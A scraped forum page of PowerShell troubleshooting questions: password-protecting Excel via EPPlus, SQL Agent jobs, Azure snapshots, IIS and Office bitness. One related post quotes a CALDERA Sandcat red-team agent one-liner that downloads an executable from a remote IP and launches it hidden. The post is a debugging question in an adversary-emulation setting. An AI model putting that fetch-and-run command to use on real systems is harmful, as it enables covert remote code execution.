Execute PowerShell manipulation (open and SaveAs with Password) for Excel file on server without Office - excel

I'm trying to execute a PowerShell script that operates with Excel File, the script opens the excel and does a SaveAs of the file with a password protection. this works great on a PC with Office, but it doesn't on a server that doesn't have Office installed.
I know that there are some libraries that can be used but I don't know how to use them, here is the code of the PowerShell Script:
$excel = New-Object -ComObject Excel.Application
$excel.Visible = $true
$excel.DisplayAlerts = $false
$LoadPath = Join-Path -Path $pwd -ChildPath "TEMPLATE4WEEKS.xlsx" #$pwd is your current working dir
$SavePath = Join-Path -Path $pwd -ChildPath "TEMPLATE4WEEKSprotected.xlsx"
$wb = $excel.Workbooks.Open($LoadPath)
$wb.SaveAs($SavePath,[Type]::Missing,"password")
$excel.Quit()
and I've read something about libraries such as EPPlus (https://archive.codeplex.com/?p=epplus) but I don't know how to use it.
if it worth mentioning, the error I get when trying to execute the PowerShell script on the server is the following:
New-Object : Retrieving the COM class factory for component with CLSID {00000000-0000-0000-0000-000000000000} failed
due to the following error: 80040154 Class not registered (Exception from HRESULT: 0x80040154 (REGDB_E_CLASSNOTREG)).
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:1 char:10
+ $excel = New-Object -ComObject Excel.Application
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [New-Object], COMException
+ FullyQualifiedErrorId : NoCOMClassIdentified,Microsoft.PowerShell.Commands.NewObjectCommand
The property 'Visible' cannot be found on this object. Verify that the property exists and can be set.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:2 char:1
+ $excel.Visible = $true
+ ~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : PropertyNotFound
The property 'DisplayAlerts' cannot be found on this object. Verify that the property exists and can be set.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:3 char:1
+ $excel.DisplayAlerts = $false
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : PropertyNotFound
You cannot call a method on a null-valued expression.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:6 char:1
+ $wb = $excel.Workbooks.Open($LoadPath)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:9 char:1
+ $wb.SaveAs($SavePath,[Type]::Missing,"jacobs4321")
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At E:\TEMP\PasswordProtectLAST4WEEKS.ps1:10 char:1
+ $excel.Quit()
+ ~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull

Synthesizing my multiple comments as an answer here:
Download EPPlus: https://www.nuget.org/packages/EPPlus/
Read some of the documentation and check their sample code:
https://github.com/JanKallman/EPPlus/wiki/Getting-Started
Then open and save your file like this:
.
Add-Type -Path D:\PathOfExile\epplus.4.5.3.2\lib\net40\EPPlus.dll
$ExcelPackage = New-Object OfficeOpenXml.ExcelPackage("C:\Metallica\WhereverIMayRoam\hehe.xlsx")
$ExcelPackage.Workbook.Worksheets.Add("Test")
$ExcelPackage.SaveAs("C:\Metallica\WhereverYOUMayRoam\newfile.xlsx", "hohoho") # This sets the password of the xlsx to hohoho

Related

Errors executing Sandcat from CALDERA on my 2019 windows server

I am using agent S4ndc47 from CALDERA on my target server. The follow payload script was generated from S4ndc47 and I have executed it on my target using PowerShell in admin mode. This is the script generated:
$server="52.212.164.168:8888";$url="$server/file/download";$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");$wc.Headers.add("file","sandcat.go");$data=$wc.DownloadData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("`"","");get-process | ? {$_.modules.filename -like "C:\Users\Public$name.exe"} | stop-process -f;rm -force "C:\Users\Public$name.exe" -ea ignore;[io.file]::WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null;Start-Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server $server -group red" -WindowStyle hidden;
I have tried searching for the solutions online but couldn't find any. These are the errors I'm facing:
Exception calling "DownloadData" with "1" argument(s): "The given path's format is not supported."
At line:1 char:171
... Headers.add("file","sandcat.go");$data=$wc.DownloadData($url);$name=$ ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : NotSpecified: (:) [], MethodInvocationException
FullyQualifiedErrorId : NotSupportedException
Cannot index into a null array.
At line:1 char:200
... dData($url);$name=$wc.ResponseHeaders["Content-Disposition"].Substrin ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : InvalidOperation: (:) [], RuntimeException
FullyQualifiedErrorId : NullArray
Exception calling "WriteAllBytes" with "2" argument(s): "Value cannot be null.
Parameter name: bytes"
At line:1 char:482
... -ea ignore;[io.file]::WriteAllBytes("C:\Users\Public$name.exe",$dat ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : NotSpecified: (:) [], MethodInvocationException
FullyQualifiedErrorId : ArgumentNullException
Start-Process : This command cannot be run due to the error: The system cannot find the file specified.
At line:1 char:553
... | Out-Null;Start-Process -FilePath C:\Users\Public$name.exe -Argume ...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOperationException
FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand
I'm not sure how to solve this. I have Go installed on the target system
Any help would be greatly appreciated!

Unable to run the Powershell Script using SQL Server Job Agent

I am trying to execute my PowerShell script using the SQL Server Job Agent but unable to do so. I am able to execute the script successfully via PowerShell Prompt. Here in the Agent I am Operating System (CMDEXEC) and running as Service Account. Job is successfully executed but with following Error.
I am using the following command in command Window:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "& 'D:\Powershell\triggersinfo.ps1'"
Message
Executed as user: NT Service\SQLSERVERAGENT. ...because it does not exist. At D:\Powershell\triggersinfo.ps1:4 char:98 + ... To-SecureString -Key (Get-Content D:\Triggers_Test\passwords\aes.key) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (D:\Triggers_Test\passwords\aes.key:String) [Get-Content], ItemNotFoundE xception + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommandConvertTo-SecureString : Input string was not in a correct format. At D:\Powershell\triggersinfo.ps1:4 char:69 + ... sword.txt | ConvertTo-SecureString -Key (Get-Content D:\Triggers_Test ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [ConvertTo-SecureString], FormatException + FullyQualifiedErrorId : System.FormatException,Microsoft.PowerShell.Commands.ConvertToSecureStringCommand New-Object : Exception calling ".ctor" with "2" argument(s): "Cannot process argument because the value of argument "password" is null. Change the value of argument "password" to a non-null value." At D:\Powershell\triggersinfo.ps1:5 char:16 + ... redential = New-Object System.Management.Automation.PsCredential($use ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [New-Object], MethodInvocationException + FullyQualifiedErrorId : ConstructorInvokedThrowException,Microsoft.PowerShell.Commands.NewObjectCommandConnect-AzAccount : Cannot bind argument to parameter 'Credential' because it is null. At D:\Powershell\triggersinfo.ps1:7 char:32 + Connect-AzAccount -Credential $credential + ~~~~~~~~~~~ + CategoryInfo : InvalidData: (:) [Connect-AzAccount], ParameterBindingValidationException + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.Azure.Commands.Profile.ConnectA zureRmAccountCommandGet-AzDataFactoryV2Trigger : Run Connect-AzAccount to login. At D:\Powershell\triggersinfo.ps1:16 char:11 + $triggers=Get-AzDataFactoryV2Trigger -DataFactoryName $dataFactoryNam ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : CloseError: (:) [Get-AzDataFactoryV2Trigger], PSInvalidOperationException + FullyQualifiedErrorId : Microsoft.Azure.Commands.DataFactoryV2.GetAzureDataFactoryTriggerCommandGet-AzStorageAccount : No subscription found in the context. Please ensure that the credentials you provided are authorized to access an Azure subscription, then run Connect-AzAccount to login. At D:\Powershell\triggersinfo.ps1:70 char:13 + $account = Get-AzStorageAccount -ResourceGroupName 'DataLake-Gen2' - ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : CloseError: (:) [Get-AzStorageAccount], ApplicationException + FullyQualifiedErrorId : Microsoft.Azure.Commands.Management.Storage.GetAzureStorageAccountCommandNew-AzStorageAccountSASToken : Could not get the storage context. Please pass in a storage context or set the current storage context. At D:\Powershell\triggersinfo.ps1:71 char:8 + $sas= New-AzStorageAccountSASToken -Service Blob -ResourceType Serv ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : CloseError: (:) [New-AzStorageAccountSASToken], InvalidOperationException + FullyQualifiedErrorId : InvalidOperationException,Microsoft.WindowsAzure.Commands.Storage.Common.Cmdlet.NewAzure StorageAccountSasTokenCommandInvoke-RestMethod : {"error":{"code":"AuthenticationFailed","message":"Server failed to authenticate the request. Make sure the value of Authorization header is formed correctly including the signature.\nRequestId:c5b73384-401f-0061-7f95-b2677600... Process Exit Code 0. The step succeeded.
Any Idea why I a getting this error? If required I can also paste the whole PS Script here. Thanks
Script Used:
# Connect to Azure Account
$username = "xyz#abc.com"
$password = Get-Content D:\Triggers_Test\passwords\password.txt | ConvertTo-SecureString -Key (Get-Content D:\Triggers_Test\passwords\aes.key)
$credential = New-Object System.Management.Automation.PsCredential($username,$password)
Connect-AzAccount -Credential $credential
# Input Variables
$dataFactoryName="dna-production-gen2"
$resourceGroupName="DataLake-Gen2"
# get dataFactory triggers
$triggers=Get-AzDataFactoryV2Trigger -DataFactoryName $dataFactoryName -ResourceGroupName $resourceGroupName
$datas=#()
foreach ($trigger in $triggers) {
# get the trigger run history
$today = Get-Date
$yesterday = $today.AddDays(-1)
$splat = #{
ResourceGroupName = $trigger.ResourceGroupName
DataFactoryName = $trigger.DataFactoryName
TriggerName = $trigger.Name
TriggerRunStartedAfter = $yesterday
TriggerRunStartedBefore = $today
}
$historys =Get-AzDataFactoryV2TriggerRun #splat
if($historys -ne $null){
# create date
foreach($history in $historys){
$obj =[PsCustomObject]#{
'TriggerRunTimestamp ' = $history.TriggerRunTimestamp
'ResourceGroupName ' =$history.ResourceGroupName
'DataFactoryName' =$history.DataFactoryName
'TriggerName ' = $history.TriggerName
'TriggerRunId'= $history.TriggerRunId
'TriggerType'=$history.TriggerType
'Status' =$history.Status
}
# add data to an array
$datas += $obj
}
}
}
# convert data to csv string
$contents =(($datas | ConvertTo-Csv -NoTypeInformation) -join [Environment]::NewLine)
# upload to Azure Data Lake Store Gen2
#1. Create a sas token
$accountName="dna2020gen2"
# $path = New-Item -ItemType Directory -Path ".\$((Get-Date).ToString('yyyy-MM-dd'))"
$YY = (Get-Date).year
$MM = (Get-Date).month
$DD = get-date –f dd
$fileSystemName="dev"
$filePath="triggers/YYYY=$YY/MM=$MM/DD=$DD/data.csv"
$account = Get-AzStorageAccount -ResourceGroupName 'DataLake-Gen2' -Name $accountName
$sas= New-AzStorageAccountSASToken -Service Blob -ResourceType Service,Container,Object `
-Permission "racwdlup" -StartTime (Get-Date).AddMinutes(-10) `
-ExpiryTime (Get-Date).AddHours(2) -Context $account.Context
$baseUrl ="https://{0}.dfs.core.windows.net/{1}/{2}{3}" -f $accountName , $fileSystemName, $filePath, $sas
#2. Create file
$endpoint =$baseUrl +"&resource=file"
Invoke-RestMethod -Method Put -Uri $endpoint -Headers #{"Content-Length" = 0} -UseBasicParsing
#3 append data
$endpoint =$baseUrl +"&action=append&position=0"
Invoke-RestMethod -Method Patch -Uri $endpoint -Headers #{"Content-Length" = $contents.Length} -Body $contents -UseBasicParsing
#4 flush data
$endpoint =$baseUrl + ("&action=flush&position={0}" -f $contents.Length)
Invoke-RestMethod -Method Patch -Uri $endpoint -UseBasicParsing
#Check the result (get data)
Invoke-RestMethod -Method Get -Uri $baseUrl -UseBasicParsing

Is there someone can tell me how to fix the Error "The remote server returned an error: (409) Conflict."

I use Automation Runbook to create the Azure Files' snapshot. And I get one error
Exception calling "Snapshot" with "0" argument(s): "The remote server returned an error: (409) Conflict." At line:3 char:1 + $snapshot = $share.Snapshot() + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : StorageException,
but it was not consistent.
I use the runbook to create the Azure Files snapshots. At first, it can work well, but recently there have some errors of "The remote server returned an error: (409) Conflict."
I use the code as below to create the snapshots everyday.
$context = New-AzureStorageContext -StorageAccountName "storage" -StorageAccountKey "********"
$share = Get-AzureStorageShare -Context $context -Name "test"
$snapshot = $share.Snapshot()
I want to fix the error.
Exception calling "Snapshot" with "0" argument(s): "The remote server returned an error: (409) Conflict." At line:3 char:1 + $snapshot = $share.Snapshot() + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : StorageException
As per discussed with Arthur, we try to use try-catch as a workaround since we didnot figure out the root cause.
when the create snapshot operation fails, then we can retry more times(like 3 times). The sample code like below:
$RetryIntervalInSeconds = 10
$NumberOfRetryAttempts = 2
$CmdOk = $False
do{
try{ *the code I using now $CmdOk = $True}
catch{ * the error I met $NumberOfRetryAttempts-- Start-Sleep -Seconds $RetryIntervalInSeconds }
}
while (-not $CmdOk -and $NumberOfRetryAttempts -ge 0)

I keep getting this error when I'm running PowerShell

When I run this PowerShell script
Import-Module WebAdministration
$path1 = Get-ItemProperty -PSPath IIS:\Sites\CompassSvcQA-Red\R4\CompassSettings
Set-Location "C:\Windows\Microsoft.NET\Framework\v4.0.30319"
.\aspnet_regiis.exe -pef "connectionStrings" $path1.physicalPath -prov "DataProtectionConfigurationProvider"
I'm getting this error:
Get-ItemProperty : Cannot find drive. A drive with the name 'IIS' does
not exist. At line:2 char:10
+ $path1 = Get-ItemProperty -PSPath IIS:\Sites\CompassSvcQA-Red\R4\CompassSettings
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (IIS:String) [Get-ItemProperty], DriveNotFoundException
+ FullyQualifiedErrorId : DriveNotFound,Microsoft.PowerShell.Commands.GetItemPropertyCommand

Manipulating Excel with powershell

Good day everybody, so we are trying to automate some Excel and have encountered a few errors, so we have the script that is listed below, but we ran into 3 different errors.
Could someone help us identify where the script went wrong?
The error that we are getting are:
Exception calling "Open" with "1" arguments : "Server error. (excpetion HRESULT: 0x80010105 (RPC_E_SERVERFAU
LT))"
C:\Users\Montage\Desktop\blockadp.ps1:9 char:34
+ $workbook = $excel.workbooks.open <<<< ($excelMacrosFile);
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : ComMethodTargetInvocation
Cant call a method with NULL.
C:\Users\Montage\Desktop\blockadp.ps1:10 char:39
+ $worksheet = $workbook.worksheets.item <<<< (1);
+ CategoryInfo : InvalidOperation: (item:String) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
Exception calling "Run" with "31" arguments: "server error. (excpetion from HRESULT: 0x80010105 (RPC_E_SERVERFAU
LT))"
C:\Users\Montage\Desktop\blockadp.ps1:11 char:11
+ $excel.Run <<<< ("Convert", $inputExcelFile, $outputADSFile);
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DotNetMethodException
cannot call a method with NULL.
C:\Users\Montage\Desktop\blockadp.ps1:13 char:16
+ $workbook.close <<<< ();
+ CategoryInfo : InvalidOperation: (close:String) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
The script itself:
$excelMacrosFile = "C:\Users\Montage\Desktop\friday.xls";
$inputExcelFile = "C:\Users\Montage\Desktop\25.05.17.xls";
$outputADSFile = "C:\Users\Montage\Desktop\25.05.17.adp";
$excel = new-object -comobject excel.application;
$workbook = $excel.workbooks.open($excelMacrosFile);
$worksheet = $workbook.worksheets.item(1);
$excel.Run("Convert", $inputExcelFile, $outputADSFile);
#$workbook.save();
$workbook.close();
$excel.quit();
Even if I try this only "https://support.jamsscheduler.com/hc/en-us/articles/206191918-How-to-Automate-the-opening-of-an-Excel-Spreadsheet-in-Powershell"
$excelMacrosFile = "C:\Users\Montage\Desktop\friday.xls";
$excel = new-object -comobject excel.application;
$workbook = $excel.workbooks.open($excelMacrosFile);
Then I still get the same error
Exception calling "Open" with "1" argument(s): "The server threw an exception. (Exception from HRESULT: 0x80010105
(RPC_E_SERVERFAULT))"
It's also not permissions as mentioned below since this works:
$test = Get-Content 'C:\Users\Montage\Desktop\25.05.17.xls
The problem was that the version of Microsoft Office that was installed was x86.
When the system itself is x64.
Testing this on x64 office showed no errors, and the script worked as intended.

Resources